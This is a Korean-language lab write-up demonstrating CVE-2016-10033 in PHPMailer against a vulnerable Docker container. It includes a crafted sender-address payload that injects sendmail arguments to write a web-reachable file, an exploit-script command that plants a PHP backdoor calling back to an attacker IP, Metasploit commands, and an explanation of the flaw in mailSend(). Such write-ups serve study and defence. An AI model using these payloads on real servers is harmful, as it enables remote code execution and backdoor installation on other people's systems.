
CVE-2016-10033 (PHPMailer)에 대한 개념 증명
먼저 취약한 애플리케이션을 실행해 보겠습니다.
Command: docker pull vulnerables/cve-2016-10033


이제 웹 브라우저에서 localhost:8080으로 취약한 웹사이트에 접속할 수 있습니다.

이름 입력: OSEC (임의의 문자열 가능, 익스플로잇에 영향 없음)
조작된 발신자 이메일: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com
이 조작된 발신자 이메일의 작동 방식은 공격 벡터의 설명 섹션에서 자세히 설명됩니다. 구체적인 매개변수로, 두 번째 매개변수 -oQ/tmp는 큐 디렉토리를 지정하고 세 번째 매개변수 -X/www/pwn.html은 기록될 로그 파일의 위치를 지정합니다.
큐 디렉토리가 지정되지 않으면 sendmail 프로세스가 기본 메일 큐 디렉토리인 (/var/spool/mqueue-client/)에 접근을 시도하는데, 이 디렉토리는 일반적인 보안 조치로 무단 접근 및 변조를 방지하기 위해 보호됩니다. 이 권한 문제를 피하려면 PHP 스크립트를 실행하는 사용자가 쓰기 권한을 가진 큐 디렉토리를 지정해야 합니다. 일반적으로 /tmp와 같은 디렉토리가 모든 사용자가 쓸 수 있기 때문에 사용됩니다.
이메일 본문에 PHP 코드가 포함되어 있고, 지정된 로그 파일이 웹 접근 가능 디렉토리에 배치되면, 공격자는 웹 브라우저를 통해 로그 파일에 접근하여 PHP 코드를 실행할 수 있으므로 원격 코드 실행이 발생합니다.
메시지 입력: 이는 공격자가 업로드할 수 있는 예제 HTML 파일일 뿐입니다. 물론 공격자는 다음 공격 방법에서 수행할 백도어와 같은 훨씬 더 나쁜 것을 업로드할 수 있습니다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacked!</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<h1 style="color: red;">Congratulations! You've been hacked!</h1>
<div>
<p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
</div>
</div>
</body>
</html>

Command: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www
-url -> 대상 URL을 지정합니다
-cf -> -url에 지정된 URL 내에서 연락처 양식의 위치를 지정합니다. (우리의 경우 -url과 정확히 동일하므로 슬래시만 포함했습니다.)
-ip -> 백도어가 다시 연결할 공격자의 IP를 지정합니다
-d -> 백도어 PHP 파일을 업로드할 상대 디렉토리를 지정합니다
--post-action -> 숨겨진 필드의 name 속성
--post-msg -> 메시지 입력 필드의 name 속성
참고: --post-action을 "submit"으로, --post-msg를 "message"로 지정해야 하는 이유는 우리가 사용 중인 취약한 애플리케이션의 name 속성이 Python 익스플로잇 스크립트에서 사용된 기본값과 다르기 때문입니다.
취약한 애플리케이션의 name 속성:

스크립트에 지정된 기본 name 속성:


위 이미지에서 프로그램이 http://127.0.0.1:8080//www/phpbackdoor9284.php에 접근하려고 시도하는 것을 볼 수 있는데, 이는 //www 때문에 분명히 잘못되었습니다. 이 취약한 웹사이트에서 /www는 웹사이트 루트이므로 http://127.0.0.1:8080은 이미 /www에 있기 때문에 http://127.0.0.1:8080/www로 이동할 수 없습니다.
또한 아래 이미지에서 phpbackdoor9284.php 파일이 디렉토리에 성공적으로 생성되었기 때문에 익스플로잇이 실제로 작동했음을 알 수 있습니다. 따라서 유일한 문제는 URL에서 //www를 제거하는 방법이었습니다.

Python 스크립트를 더 자세히 살펴본 결과, 백도어 PHP 파일의 URL을 지정하는 BACKDOOR_URL 변수를 찾을 수 있었습니다. 이 변수에서 우리가 지정한 대상 디렉토리(args.TARGET_UP_DIR)가 BACKDOOR_FILE 변수와 함께 연결되어 있음을 알 수 있습니다. 문제를 해결하려면 그 부분과 추가 슬래시를 제거해야 합니다.
Before:

After:


Commands:
msfconsole
search CVE-2016-10033
use 1

Commands:
set RHOSTS 192.168.79.1 (대상 IP 지정)
set RPORT 8080 (대상 포트 지정)
set TARGETURI /(웹 양식 URL 지정)
set WEB_ROOT /www (웹사이트 루트 위치 지정)

Command: exploit

POC를 마칩니다.
PHPMailer 클래스는 기본 전송 방식으로 PHP mail() 함수를 사용합니다. 전송은 mailSend() 함수를 사용하여 구현됩니다:

12번째 줄을 보면,

발신자 주소는 PHP mail() 함수 문서에 따라 -f와 연결되어 sendmail 바이너리에 -f 인수 뒤의 문자열이 발신자의 이메일 주소임을 알려줍니다.

mailSend() 함수의 마지막 줄에서,

PHP mail() 함수에 필요한 모든 인수가 전달되며, 여기에는 sendmail 바이너리에 추가 매개변수를 전달할 수 있는 5번째 매개변수 $params가 포함됩니다.
아래 그림은 mailSend() 함수가 전달하는 매개변수와 일치하는 mail() 함수가 받는 매개변수를 보여줍니다.

위에서 보듯이 $params 문자열은 Sender 변수로부터 구성됩니다. 이 Sender 문자열은 일반적으로 사용자가 웹 양식에 입력한 발신자 주소를 검증하는 setFrom() 메서드를 사용하여 설정됩니다.

validateAddress() 함수 검증으로 인해 PHPMailer는 예를 들어 attacker -InjectedParam2 @attacker.com과 같은 이메일을 거부하여 mail() 함수를 통해 Sendmail에 추가 매개변수를 주입하는 것을 방지합니다.
CVE 발견자의 추가 연구에 따르면 검증이 실제로 RFC 3696 사양을 사용하여 수행된다는 것을 알게 되었습니다.